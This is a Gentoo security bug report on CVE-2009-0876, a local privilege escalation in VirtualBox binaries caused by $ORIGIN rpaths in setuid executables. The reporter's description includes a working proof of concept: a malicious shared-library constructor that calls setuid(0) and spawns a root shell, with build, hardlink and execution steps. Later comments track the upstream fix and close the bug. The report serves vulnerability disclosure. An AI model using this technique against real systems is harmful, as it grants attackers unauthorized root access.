Gentoo Websites Logo
Go to: Gentoo Home Documentation Forums Lists Bugs Planet Store Wiki Get Gentoo!
Bug 260331 (CVE-2009-0876) - app-emulation/virtualbox-bin privelege escalation due to DT_RPATH:$ORIGIN and set*id (CVE-2009-0876)
Summary: app-emulation/virtualbox-bin privelege escalation due to DT_RPATH:$ORIGIN and...
Status: RESOLVED FIXED
Alias: CVE-2009-0876
Product: Gentoo Security
Classification: Unclassified
Component: Runpath Issues (show other bugs)
Hardware: All Linux
: High major (vote)
Assignee: Gentoo Security
URL: http://www.virtualbox.org/ticket/3444
Whiteboard: ~1 [noglsa]
Keywords:
Depends on:
Blocks:
 
Reported: 2009-02-26 03:01 UTC by SpanKY
Modified: 2009-11-10 12:07 UTC (History)
2 users (show)

See Also:
Package list:
Runtime testing required: ---


Attachments

Note You need to log in before you can comment on or make changes to this bug.
Description SpanKY gentoo-dev 2009-02-26 03:01:47 UTC
ive filed this upstream already ... all versions of virtualbox are affected

hardlinks on Linux preserve permission, including set*id bits, and can be created by non-root users. virtualbox attempts to perform some sanity checks on the dir the binary exists in (presumably to prevent privilege escalation), however that is done after the constructors in shared libs are run. that means any library a virtualbox binary links against is an attack vector.

the constructor isnt the only attack vector ... you could also override any of the standard C library functions that virtualbox would call during its startup. like open() or stat() or ...

there really isnt many workarounds available here if DT_RPATH:$ORIGIN is continued to be used. perhaps making a small dedicated partition (loopback or whatever) and storing the binaries on there because hardlinks cannot go across partitions.

simple example:

$ id -u
1002

$ cat test.c
#include <unistd.h>
#include <sys/syscall.h>
__attribute__((constructor))
void awesome(void)
{
        char *argv[] = { "sh", NULL };
        extern char *environ;
        syscall(SYS_setuid, 0);
        syscall(SYS_execve, "/bin/sh", argv, environ);
}

$ gcc -Wall test.c -fPIC -shared -o libdl.so.2 -Wl,-soname,libdl.so.2

$ ls -l /opt/VirtualBox/VirtualBox
-r-s--x--x 2 root vboxusers 23808 2009-01-30 01:57 /opt/VirtualBox/VirtualBox

$ ln /opt/VirtualBox/VirtualBox

$ ls -l VirtualBox
-r-s--x--x 2 root vboxusers 23808 2009-01-30 01:57 VirtualBox

$ ./VirtualBox
./VirtualBox: /home/vapier/libdl.so.2: no version information available (required by ./VirtualBox)
sh-4.0# whoami
root
Comment 1 SpanKY gentoo-dev 2009-03-05 08:30:32 UTC
upstream has released an updated 2.1.4 ... this version of virtualbox-bin-2.1.4 is now in the tree and vuln 2.0.x versions have been punted

virtualbox-1.x shouldnt be affected as it doesnt use $ORIGIN in DT_RPATH

as for virtualbox-ose, i have no idea what the status is of the 2.0.x ebuilds.  ive updated the 2.1.4-r1 ebuild in the tree and it should be OK.
Comment 2 Robert Buchholz (RETIRED) gentoo-dev 2009-03-15 23:48:05 UTC
CVE-2009-0876 (http://nvd.nist.gov/nvd.cfm?cvename=CVE-2009-0876):
  Unspecified vulnerability in Sun xVM VirtualBox 2.0.0, 2.0.2, 2.0.4,
  2.0.6r39760, 2.1.0, 2.1.2, and 2.1.4r42893 on Linux allows local
  users to gain privileges via unknown vectors related to "certain
  packages."

Comment 3 Alessio Cassibba (X-Drum) 2009-03-16 00:49:06 UTC
(In reply to comment #1)
[..]
> virtualbox-1.x shouldnt be affected as it doesnt use $ORIGIN in DT_RPATH
> 
> as for virtualbox-ose, i have no idea what the status is of the 2.0.x
> ebuilds. 

Hi,
in all the virtualbox-ose 2.x. ebuilds present in tree, the use of the
$ORIGIN DT_RPATH/DT_RUNPATH (ELF) feature was disabled at build time
[ this was done via the VBOX_WITH_ORIGIN in LocalConfig.kmk ].

>
> ive updated the 2.1.4-r1 ebuild in the tree and it should be OK.
> 
yes, in addition 2.0.x ebuilds should be removed from the tree since 
they are old and unmaintained by upstream. 
Comment 4 SpanKY gentoo-dev 2009-03-16 01:13:48 UTC
then i think all ebuilds in tree are up-to-date ... not sure we need a glsa as i dont think any virtualbox-2 has gone stable
Comment 5 Patrick Lauer gentoo-dev 2009-09-12 12:30:13 UTC
(In reply to comment #4)
> then i think all ebuilds in tree are up-to-date ... not sure we need a glsa as
> i dont think any virtualbox-2 has gone stable
> 

No, 1.6.6 was latest stable. No 2.x was stabled.
Comment 6 Patrick Lauer gentoo-dev 2009-11-10 01:55:34 UTC
I think this bug can be closed now.
Comment 7 Stefan Behte (RETIRED) gentoo-dev Security 2009-11-10 12:07:19 UTC
Thanks, closing noglsa.